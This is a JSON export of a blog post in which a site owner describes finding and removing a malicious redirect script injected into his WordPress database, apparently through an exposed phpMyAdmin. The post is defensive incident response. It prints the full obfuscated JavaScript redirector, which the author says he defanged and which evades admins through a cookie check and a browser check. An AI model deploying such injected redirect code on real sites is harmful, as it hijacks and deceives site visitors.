{"id":2704,"date":"2020-05-08T10:05:14","date_gmt":"2020-05-08T18:05:14","guid":{"rendered":"http:\/\/pididu.com\/wordpress\/?p=2704"},"modified":"2020-11-14T09:30:14","modified_gmt":"2020-11-14T17:30:14","slug":"clean-an-infected-wordpress-server","status":"publish","type":"post","link":"http:\/\/pididu.com\/wordpress\/blog\/clean-an-infected-wordpress-server\/","title":{"rendered":"Clean an Infected WordPress Server"},"content":{"rendered":"\n<p class=\"has-drop-cap\">Thank God for sloppy hackers.  Recently, pididu.com was compromised.  Pages were occasionally being redirected to a spam site like ischeck or checkandgo.  It happened once to me, then I tried to reload the page, but couldn&#8217;t make the redirect happen again.  I might have written it off to some sort of cloudflare failure, or a glitch on the DNS.  But then, while doing routine daily cleaning of spam users (what better way to keep myself occupied during covid-19 quarantine), I noticed a strange user, &#8220;system_not_deleteXk1LsxjL&#8221;.  Like many spam users, that one had no first and last name entered.  However, it somehow had administrative privileges (but not super-admin).  What&#8217;s more, I had sorted the users with most recently created first, and this guy was at the top of the list, even though the registration date reported as 6\/6\/2017.  I knew exactly what I was doing on that date, and I would have been watching wordpress every day.  Had such a user been there, I would have noticed it &#8211; if not immediately, then at least at some time in the past year or two.  Something was funky.  I stripped the user of administrative privileges immediately, and started looking into it.  Once again, thank God for sloppy hackers.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"835\" height=\"579\" src=\"http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/UserList.png\" alt=\"\" class=\"wp-image-2708\" srcset=\"http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/UserList.png 835w, http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/UserList-300x208.png 300w, http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/UserList-100x69.png 100w, http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/UserList-768x533.png 768w\" sizes=\"(max-width: 835px) 100vw, 835px\" \/><figcaption>This is supposed to be sorted with most recent registration at the top, yet, but the date on the first user doesn&#8217;t make sense.<\/figcaption><\/figure>\n\n\n\n<p>Herewith is the debugging process I went through to locate and remove the infection.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Observations most relevant to debugging<\/h4>\n\n\n\n<ul><li>Only <strong>wordpress<\/strong> pages seemed to be affected, not other kinds<\/li><li>As system admin, I never received an email notice of the registration of user &#8220;system_not_deleteXk1LsxjL&#8221;.<\/li><li>The infected page actually loaded, or at least mostly loaded, before the redirection happened.<\/li><li>At first, it seemed that I could only make the redirection happen once.  Then I switched from Firefox to Chromium, and it happened again &#8211; exactly once.  Subsequent reloads of the page or visits to other pages were normal after the first redirect.  Then I tried a private browsing instance, and the redirection happened.  In fact, I could make the malware trigger every time by just opening a private browser.  This suggested that a cookie could have been involved.<\/li><\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">Did they get in through phpmyadmin?<\/h4>\n\n\n\n<p>The abnormal user registration date indicated that they probably modified the database directly.  Even an administrator can&#8217;t edit that field through the regular wordpress dashboard.<\/p>\n\n\n\n<p>I had thought phpmyadmin for the server was only accessible from the server itself, but went to the local library to use their wi-fi, and found that phpmyadmin was, in fact, accessible from outside.  In fact, it had probably been accessible ever since the site was moved to a Raspberry Pi back in 2017.  Someone might have simply guessed the password, which was simple.  My stupidity.  Thinking about it, it was less surprising that someone broke in, then that it went so many years without a break-in.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">First step: take server off the internet<\/h4>\n\n\n\n<p>After returning from the library, I immediately redirected our router to forward port 80 to a backup server that had no wordpress, only apache serving a simple web page saying that pididu.com was down for maintenance.  The intent was to isolate the infected server from the outside world while I debugged the issue.  Had I left the compromised server up, sooner or later, Google would come across it and mark the site as unsafe in its database.  It would have been a lot of trouble getting that Mark of Cain removed.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Make a backup of the compromised database<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">$ mysqldump -u myself -p &gt; --databases MyDatabase &gt; Infected.sql<\/pre>\n\n\n\n<p>One of the first rules of debugging is to preserve information.  Also, I wanted to have a backup in case I messed something up in the process of trying to debug or fix the server.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Did they guess a wordpress administrator password?<\/h4>\n\n\n\n<p>Anything was possible, but that was really unlikely, since the password was strong.  And if they did, they could have simply made an administrator account for themselves, rather than try to register one through wordpress.  As a matter of security hygiene, I would change the wordpress administrator password, but only after securing the database.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Was the mail server compromised?<\/h4>\n\n\n\n<p>I looked at \/var\/log\/mail.log, as well as mail.log.2.gz, mail.log.3.gz, and so forth.  An excerpt of one of the logs is shown below.  It begins at the top with attempts to register spam users, which actually comprise the vast majority of registrations.  Often these go to nonexistent email addresses, and if there is no positive response, the tentative registration is dropped automatically.<\/p>\n\n\n\n<p>I searched the log for &#8220;system_not_delete&#8221;, and found the line shown in bold below.  That is the intrusion attempt, with a time stamp of April 12 (which just happened to be Easter this year).  I checked the log for any unusual volume of activity after that date, and saw nothing out of the ordinary.  My conclusion was that my server had <em>not<\/em> been hijacked as a spamming zombie.  Thank goodness.<\/p>\n\n\n\n<p>Incidentally, in an attempt to appear official, the hacker used the wordpress.com domain for the email.  Note that wordpress.com replied with &#8220;User unknown,&#8221; which normally would cause the registration to be invalidated after a short amount of time.  That explained why, as an administrator, I never got notice of the the registration by email.  However, my theory was that the hacker jumped into the database immediately and validated the user, not to mention elevating it to administrator.  With access to the database, the hacker could have bypassed the registration process and simply created a new user.  My guess as to why the did not do that was the difficulty of creating a salted password.  Their easiest move would have been to put junk in the encrypted password, then later tell wordpress that they forgot it, and ask for a reset email.  But that would have made them more traceable.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Apr 9 17:05:27 pididu sm-mta[348]: 0350ZWnU010010: to=&lt;fratocfigui1977@frontarbol.com&gt;, ctladdr=&lt;ww\u2026\nApr 9 17:15:26 pididu sm-mta[450]: 0351471G010219: to=&lt;pratenlebu1985@frontarbol.com&gt;, ctladdr=&lt;www\u2026\n\u2026\nApr 12 05:52:54 pididu sendmail[27467]: 03CCqsaC027467: from=www-data, size=746, class=0, nrcpts=1,\u2026\nApr 12 05:52:54 pididu sm-mta[27468]: 03CCqs6T027468: from=&lt;www-data@pididu.com&gt;, size=872, class=0,\u2026\nApr 12 05:52:54 pididu sm-mta[27468]: 03CCqs6T027468: Milter insert (1): header: DKIM-Signature: v=\u2026\n<strong>Apr 12 05:52:54 pididu sendmail[27467]: 03CCqsaC027467: to=system_not_delete_Xk1LsxjL@wordpress.com,<\/strong>\u2026\nApr 12 05:52:55 pididu sm-mta[27470]: STARTTLS=client, relay=mail.automattic.com., version=TLSv1.2,\u2026\nApr 12 05:52:55 pididu sm-mta[27470]: 03CCqs6T027468: to=&lt;system_not_delete_Xk1LsxjL@wordpress.com&gt;,\u2026\nApr 12 05:52:55 pididu sm-mta[27470]: 03CCqs6T027468: 03CCqt6T027470: DSN: User unknown\nApr 12 05:52:55 pididu sm-mta[27470]: 03CCqt6T027470: to=&lt;www-data@pididu.com&gt;, delay=00:00:00, xdel\u2026<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Was FTP compromised?<\/h4>\n\n\n\n<p>If they got access to the file system through FTP, they could have read the database user password out of wp-config.php. The server did have an FTP port open.  But to get into sensitive areas of the file system, like where wp-config is kept, someone would have had to guess a strong password.  Unlikely.<\/p>\n\n\n\n<p>With access to the file system, a hacker could have changed some wordpress core files, or even plugins.  I didn&#8217;t see any unrecognized plugins from the wordpress dashboard, but tried turning them all off, anyway, on a few sites.  When testing those sites on a private browser instance, I found that they still had the malware redirection.  Conclusion: the infection is not in the plugins.  I turned the plugins back on.<\/p>\n\n\n\n<p>Since every single wordpress page seemed to be affected, suspected that some of the base php code, such as that to display a page, or even a header or footer, might have been changed.  The footer seemed a likely place, since the afflicted pages did seem to at least partially load before being redirected.  I manually went line-by-line through various wordpress core php files, but found nothing out of the ordinary.<\/p>\n\n\n\n<p>On the assumption that the hacker was not thorough enough to cover their tracks by resetting file dates to their original values, I decided to look for any files that were modified after the intrusion date (earlier determined to be April 12, 2020.)  First, I made a file with an artificial date of April 11th.  Then, I searched recursively for files newer than that.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ touch IntrusionDate -t 202004110000\n$ find \/var\/www -newer IntrusionDate<\/pre>\n\n\n\n<p>There were some files found that were newer than the intrusion date, but those I could account for as intentional wordpress updates. <\/p>\n\n\n\n<p>Finally, if the hacker had access to <code>\/var\/www<\/code>, they could have dropped their malware script into any page, including the base <code>index.html<\/code> for pididu.com.  But they didn&#8217;t.  That further reinforced that there was no intrusion into the file system.<\/p>\n\n\n\n<p>Conclusion: the break-in was not through FTP.  But I changed the FTP user password anyway, as a matter of good hygiene.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Did someone besides me log into the server?<\/h4>\n\n\n\n<p>That would be unlikely.  My user password is strong, and moreover, this server had no outside access through ssh, vnc, remote desktop, etc.  I, myself, have no way of getting on, other than physically being in the building.<\/p>\n\n\n\n<p>I checked <code>\/etc\/passwd<\/code> anyway, to see if there might be any unexpected new users.  There were none.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Did someone leave other malware on the server?<\/h4>\n\n\n\n<p>Since the FTP break-in was unlikely, as was a login from the outside, most likely, there were no malware programs added to my server.  Even with access, it would have taken a specialized effort, as an intruder wouldn&#8217;t know exactly the configuration of my system without looking around.  My assumption was that this was a quick hit-and-go script attack, not something with a human at every step.  The latter wouldn&#8217;t be worth it for my obscure little server, which really has no secrets of value on it.<\/p>\n\n\n\n<p>But, why not check a few places for fun.  Any cron jobs?<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ crontab -u pi -l\n$ crontab -u root -l\n$ crontab -u myself -l\n$ cat \/etc\/cron<\/pre>\n\n\n\n<p>Any services added?  Let&#8217;s diff against a saved copy, <code>services.saved<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ sudo systemctl list-unit-files --type=service &gt; services.suspect\n$ diff services.saved services.suspect<\/pre>\n\n\n\n<p>Nothing bad found.  How about the old way, <code>\/etc\/rc.local<\/code>?<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ cat \/etc\/rc.local<\/pre>\n\n\n\n<p>Nothing bad there.  No surprise.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Close off phpmyadmin<\/h4>\n\n\n\n<p>The line <code>Require ip 127.0.0.1<\/code> had been left out of <code>\/etc\/phpmyadmin\/apache.conf<\/code> .  Or perhaps, it was there in deprecated form, which was no longer processed.  I added the line that restricts phpmyadmin to running only on the server, itself.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># phpMyAdmin default Apache configuration\nAlias \/phpmyadmin \/usr\/share\/phpmyadmin\n&lt;Directory \/usr\/share\/phpmyadmin&gt;\n\n    Options SymLinksIfOwnerMatch\n    DirectoryIndex index.php\n#    Order, Deny, Allow\n#    Deny from all\n#    Allow from 127.0.0.1\n    <strong>Require ip 127.0.0.1<\/strong><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Change the mariadb password<\/h4>\n\n\n\n<p>With phpmyadmin closed off to the outside world, there really wouldn&#8217;t be a way for a person outside to easily attack the database directly, again.  However, I changed the database user&#8217;s password anyway, as a matter of good hygiene.  On my installation, it was unnecessary to change the root user password, as explained <a href=\"http:\/\/pididu.com\/wordpress\/blog\/reset-root-password-for-mariadb\/\">here<\/a>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ mariadb -u myself -p\nEnter password:\nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 6111\nServer version: 10.1.44-MariaDB-0+deb9u1 Raspbian 9.11\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]&gt; set password = password('MyNewPassword');\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]&gt; flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n\nMariaDB [(none)]&gt; exit;\nBye\n$<\/pre>\n\n\n\n<p>I also needed to update <code>\/var\/www\/wordpress\/wp-config.php<\/code> to reflect the new password.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Change wordpress administrator passwords<\/h4>\n\n\n\n<p>If the hacker had access to the mariadb database, they would not have had administrator passwords in the clear, but they would have had administrator user names, and encrypted salted passwords, and possibly enough information to brute force simple passwords offline.  While my password was not simple, I changed it anyway.<\/p>\n\n\n\n<p>It would be pointless for them to hack a subscriber-level account, as that would only allow the hacker to post a comment, and they couldn&#8217;t put a script in a comment.  Thus, I didn&#8217;t bother to change any normal user passwords.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Finding the trouble<\/h4>\n\n\n\n<p>The quickest way to get the server back up would have been to restore a recent backup of the database, and if that was a customer requirement, I would have done that, then change database passwords as described above.  But this was my server, and there was no urgency to get it back up, so I wanted to find root cause of the infection &#8211; that is, not only know <strong>how <\/strong>they got in, but <strong>what <\/strong>they did.<\/p>\n\n\n\n<p>The first thing I tried was to look at the source for a known infected page, and look for something out of place.  In Firefox, I typed into the address bar, something like <code>view-source:http:\/\/pididu.com\/wordpress\/test<\/code>.  Bear in mind, at that time, I had no idea what the malware might look like.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"940\" height=\"647\" src=\"http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/ViewCode.png\" alt=\"\" class=\"wp-image-2715\" srcset=\"http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/ViewCode.png 940w, http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/ViewCode-300x206.png 300w, http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/ViewCode-100x69.png 100w, http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/ViewCode-768x529.png 768w\" sizes=\"(max-width: 940px) 100vw, 940px\" \/><figcaption>The raw source of a wordpress page.  This one was 790 lines.  Long lines do not wrap; you must use the horizontal scroll bar if the whole line is not shown.<\/figcaption><\/figure>\n\n\n\n<p>I didn&#8217;t find anything.<\/p>\n\n\n\n<p>At a loss for good ideas of what to do next, I created another wordpress website (my installation is multisite), and called it <code>test1<\/code>.  I made the homepage very similar to my existing infected website, <code>test<\/code>, even using the same theme.  Then I pulled the new page up in a private browser and waited for the redirect to happen.  It didn&#8217;t.  That was so unexpected, that I repeated the experiment, and also tried pulling up the page from <code>test<\/code>, again.  <code>test1<\/code> was clean!  <strong><em>AHA, hot on the trail!<\/em><\/strong>  Good engineers know that once there is a failing unit and non-failing, it&#8217;s usually a simple matter of comparing the two to see what is different.<\/p>\n\n\n\n<p>I pulled up <code>view-source:http:\/\/pididu.com\/wordpress\/test<\/code> in one tab, and <code>view-source:http:\/\/pididu.com\/wordpress\/test1<\/code> in another.  Copied and pasted the sources into files, then did<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">diff testsource test1source<\/pre>\n\n\n\n<p>The results clearly showed the script.  It was appended to the very end of the content on the page.  Once I knew what to look for, it was easy to find the script on other pages, simply by searching the sources for &#8220;0x2cf4&#8221;.<\/p>\n\n\n\n<p>Here is the complete text of the redirector script.  This version came from the SQL dump, so has special characters quoted.  The version in html doesn&#8217;t have all the <code>\\'<\/code>.  I edited it a little to deactivate it.  I leave it as an exercise to the reader to decode how it works.  <\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;script&gt;var _0x2cf4=[\\'MSIE;\\',\\'OPR\\',\\'Chromium\\',\\'Chrome\\',\\'ppkcookie\\',\\'location\\',\\'http:MalwareInfector.xyz\/?pma1\\',\\'onload\\',\\'getElementById\\',\\'undefined\\',\\'setTime\\',\\'getTime\\',\\'toUTCString\\',\\'cookie\\',\\';\\\\x20path=\/\\',\\'split\\',\\'length\\',\\'charAt\\',\\'substring\\',\\'indexOf\\',\\'match\\',\\'userAgent\\',\\'Edge\\'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df[\\'push\\'](_0x15c1df[\\'shift\\']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(\\'0x0\\')]=function(){(function(){if(document[_0x287a(\\'0x1\\')](\\'wpadminbar\\')===null){if(typeof _0x335357===_0x287a(\\'0x2\\')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=\\'\\';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(\\'0x3\\')](_0x5b6c5c[_0x287a(\\'0x4\\')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=\\';\\\\x20expires=\\'+_0x5b6c5c[_0x287a(\\'0x5\\')]();}document[_0x287a(\\'0x6\\')]=_0xe0ae90+\\'=\\'+(_0x112012||\\'\\')+_0x21e546+_0x287a(\\'0x7\\');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+\\'=\\';var _0x36a90c=document[_0x287a(\\'0x6\\')][_0x287a(\\'0x8\\')](\\';\\');for(var _0x51e64c=0x0;_0x51e64c&lt;_0x36a90c[_0x287a(\\'0x9\\')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a(\\'0xa\\')](0x0)==\\'\\\\x20\\')_0x37a41b=_0x37a41b[_0x287a(\\'0xb\\')](0x1,_0x37a41b[\\'length\\']);if(_0x37a41b[_0x287a(\\'0xc\\')](_0x1f399a)==0x0)return _0x37a41b[_0x287a(\\'0xb\\')](_0x1f399a[\\'length\\'],_0x37a41b[_0x287a(\\'0x9\\')]);}return null;}function _0x51ef8a(){return navigator[\\'userAgent\\'][_0x287a(\\'0xd\\')](\/Android\/i)||navigator[_0x287a(\\'0xe\\')][_0x287a(\\'0xd\\')](\/BlackBerry\/i)||navigator[\\'userAgent\\'][_0x287a(\\'0xd\\')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a(\\'0xe\\')][\\'match\\'](\/Opera Mini\/i)||navigator[_0x287a(\\'0xe\\')][_0x287a(\\'0xd\\')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a(\\'0xe\\')][_0x287a(\\'0xc\\')](_0x287a(\\'0xf\\'))!==-0x1||navigator[_0x287a(\\'0xe\\')][_0x287a(\\'0xc\\')](_0x287a(\\'0x10\\'))!==-0x1||navigator[_0x287a(\\'0xe\\')][_0x287a(\\'0xc\\')](_0x287a(\\'0x11\\'))!==-0x1||navigator[_0x287a(\\'0xe\\')][_0x287a(\\'0xc\\')](_0x287a(\\'0x12\\'))!==-0x1||navigator[_0x287a(\\'0xe\\')][_0x287a(\\'0xc\\')](\\'Firefox\\')!==-0x1||navigator[_0x287a(\\'0xe\\')][_0x287a(\\'0xc\\')](_0x287a(\\'0x13\\'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a(\\'0x14\\'));if(_0x55db25!==\\'un\\'){if(_0x58dc3d()||_0x51ef8a()){_0x335357(\\'ppkcookie\\',\\'un\\',0x16d);window[_0x287a(\\'0x15\\')][\\'replace\\'](_0x287a(\\'0x16\\'));}}}}}(this));};&lt;\/script&gt;<\/pre>\n\n\n\n<p>Note that in the <code>view-source:<\/code> window, this script would have appeared on a single line, out of hundreds.  That made me feel a little less bad about missing it the first time.<\/p>\n\n\n\n<p>I then looked in the wordpress editor at one of the infected pages.  The editor was in visual mode, and at first, did not seem to show the script.  Except, I noticed a tiny one-character icon at the bottom of the content.  That was the script.  I switched the editor into raw html text mode, and the script was there, in all its glory.  I noticed that the wordpress editor thought that the last modification on the content was April 9, <strong>2015<\/strong>, at 10:53 pm, which further supported that the script was inserted directly through phpmyadmin, and not through the wordpress interface.<\/p>\n\n\n\n<p>Why, a reader might ask, did I not simply open the wordpress editor in html mode in the first place to search?  All I can say is that real-world debugging sometimes follows a twisted path, that seems silly in hindsight when more information about the problem comes out.<\/p>\n\n\n\n<p>Doing a little more research, I found that the script was exactly the same every time, and was appended to the precise end of the content on every page, and every post, on every site, but never onto comments.  This was consistent with the hacker getting into the database once, and dropping the fixed text of the malware script into all content fields.  Pages and posts created after the attack date were clean.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Cleaning the database<\/h4>\n\n\n\n<p>Theoretically, the mariadb command line interface could have been used to delete the offending malware scripts via SQL commands.  But my knowledge of SQL was limited, and I was afraid of doing something wrong in replacing something so large, and with so many special characters.  So I tried the plain old text editor on the dump.  All I wanted to do was remove every occurrence of a long, well-defined string from the file.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"627\" height=\"601\" src=\"http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/geditAttempt.png\" alt=\"\" class=\"wp-image-2706\" srcset=\"http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/geditAttempt.png 627w, http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/geditAttempt-300x288.png 300w, http:\/\/pididu.com\/wordpress\/wp-content\/uploads\/2020\/05\/geditAttempt-100x96.png 100w\" sizes=\"(max-width: 627px) 100vw, 627px\" \/><figcaption>An attempt to use the text editor (gedit) to clean the SQL dump ran extremely slowly, and ultimately failed.  I tried the same thing with vi, only to have that fail, also.  It seemed that the buffer for the search term in these editors might have been less than the 2600 characters of the script.<\/figcaption><\/figure>\n\n\n\n<p>All right, I had to do things the old way.  At first, I tried to use the entire malware as a search term in a <code>sed<\/code> command.  I ran into trouble with special characters like dot not being escaped, and other characters interpreted by the bash shell.  And also, the bash command line seems to have a character limit, too.  My next try was the following.  The idea was to recognize the beginning of the malware script, skip over whatever characters in-between, then recognize the end of the script.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sed -r 's\/&lt;script>var _0x2cf4.*));}}}}}(this));};&lt;\/script>\/\/g' Infected.sql > Cleaned.sql<\/pre>\n\n\n\n<p>I was overjoyed to see the above run in about one second, but no longer happy when I realized that <code>sed<\/code> had matched the beginning of the very first malware script instance, and the end of the very last instance, and deleted everything in-between, including all posts to every blog.  In computer science terms, it had done a greedy match rather than non-greedy.  I could have set it for non-greedy, but then recalled that every case of the malware is exactly the same, so I could just match the unique beginning of the script, followed by a fixed number of characters.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">sed -r 's\/&lt;script>var _0x2cf4.{2580}\/\/g' Infected.sql > Cleaned.sql<\/pre>\n\n\n\n<p>That worked great.  After the operation, I searched <code>Cleaned.sql<\/code> for any more occurrences of <code>&lt;script&gt;<\/code>, and found none.  Every script in normal wordpress code has a format something like <code>&lt;script type=\"text\/javascript\"<\/code>, that is, there is a space after the word &#8220;script&#8221;.  Satisfied that there weren&#8217;t two or more kinds of script that the hacker dropped into the database, I restored the database:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ mariadb -u myself -p MyDatabase &lt; Cleaned.sql<\/pre>\n\n\n\n<p>Restoring the database from the cleaned dump took about 2 minutes.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Make a backup of the database and server<\/h4>\n\n\n\n<p>It&#8217;s good practice to make periodic backups, anyway, but what better time than just after fixing an issue.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ mysqldump -u myself -p &gt; ~\/PididuBackups\/PididuDb20200416.sql\n$ cd \/var\n$ sudo tar -czvf ~\/PididuBackups\/PididuWww20200416.tar.gz www<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Bring the server back online<\/h4>\n\n\n\n<p>As a final sanity test, I opened a private browser and visited the home page of every site on the server.  I also looked at some posts.  Satisfied that the problem was gone, I reconfigured the router to once again pass port 80 to the newly-cleaned pididu.com server.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Why disinfection was so &#8220;easy&#8221; in this case<\/h4>\n\n\n\n<p>This kind of attack is basically like spam.  The point is to get a small amount of incremental sales, website hits, or advertising revenue.  There are dozens of things I can think of that they could have done to make their script more difficult to find and\/or remove, such as varying the text of the script, or covering their tracks better.  However, that would be pointless.  The server would be taken offline, anyway, and in the case of a commercial server, immediately failed over or restored to a recent backup.  Any income from the malware would stop, regardless of how long it took to find and remove the trouble.<\/p>\n\n\n\n<p>What might help, from the hacker&#8217;s point of view, is for the redirector to be gentle.  If a viewer can refresh their browser and the trouble vanishes, they will be less likely to complain to the admin.  That explains why the malware checked and set a cookie.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Afterthought: did they get in through some other exploit like a PHP security hole?<\/h4>\n\n\n\n<p>That was less likely than simply guessing the mariadb user&#8217;s password.  My machine had been updated through <code>apt<\/code> with the latest security upgrades.  But only time will tell.  I will be watching to see if they can get in, again.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Thank God for sloppy hackers. Recently, pididu.com was compromised. Pages were occasionally being redirected to a spam site like ischeck or checkandgo. It happened once to me, then I tried to reload the page, but couldn&#8217;t make the redirect happen again. I might have written it off to some sort of cloudflare failure, or a &hellip; <a href=\"http:\/\/pididu.com\/wordpress\/blog\/clean-an-infected-wordpress-server\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Clean an Infected WordPress Server<\/span> <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[166],"tags":[282,281,278,283,279,276,277,280,163],"_links":{"self":[{"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/posts\/2704"}],"collection":[{"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/comments?post=2704"}],"version-history":[{"count":0,"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/posts\/2704\/revisions"}],"wp:attachment":[{"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/media?parent=2704"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/categories?post=2704"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/pididu.com\/wordpress\/wp-json\/wp\/v2\/tags?post=2704"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}